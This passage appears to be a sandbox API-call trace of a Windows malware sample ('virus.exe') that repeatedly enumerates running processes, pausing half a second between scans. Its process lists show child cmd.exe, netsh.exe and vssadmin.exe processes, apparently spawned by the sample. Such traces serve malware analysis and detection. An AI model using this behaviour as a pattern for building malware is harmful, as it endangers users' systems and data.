th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.374] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0231.375] CloseHandle (hObject=0x1b4) returned 1 [0231.375] Sleep (dwMilliseconds=0x1f4) [0231.888] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b4 [0231.891] Process32FirstW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0231.892] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0231.892] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0231.892] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0231.893] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0231.893] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0231.894] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0231.894] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0231.895] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0231.895] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0231.895] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.896] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.896] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.897] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.897] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2b, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.897] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0231.898] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.898] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.899] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0231.899] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0231.900] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0231.900] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0231.900] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.901] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0231.901] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0231.902] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0231.902] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0231.903] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0231.903] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0231.904] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0231.904] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0231.904] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0231.905] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0231.905] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.906] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0231.906] CloseHandle (hObject=0x1b4) returned 1 [0231.906] Sleep (dwMilliseconds=0x1f4) [0232.418] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c0 [0232.420] Process32FirstW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0232.420] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0232.421] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0232.421] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0232.421] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0232.422] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0232.422] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0232.423] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0232.423] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0232.423] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0232.424] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0232.424] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0232.424] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0232.425] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0232.425] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2b, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0232.425] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0232.426] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0232.426] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0232.426] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0232.427] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0232.427] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0232.427] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0232.428] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0232.428] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0232.428] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0232.429] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0232.429] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0232.429] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0232.430] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0232.430] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0232.430] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0232.431] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0232.431] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0232.431] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0232.432] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0232.432] CloseHandle (hObject=0x1c0) returned 1 [0232.432] Sleep (dwMilliseconds=0x1f4) [0232.934] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c0 [0232.936] Process32FirstW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0232.937] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0232.937] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0232.938] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0232.938] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0232.938] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0232.939] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0232.939] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0232.940] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0232.940] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, 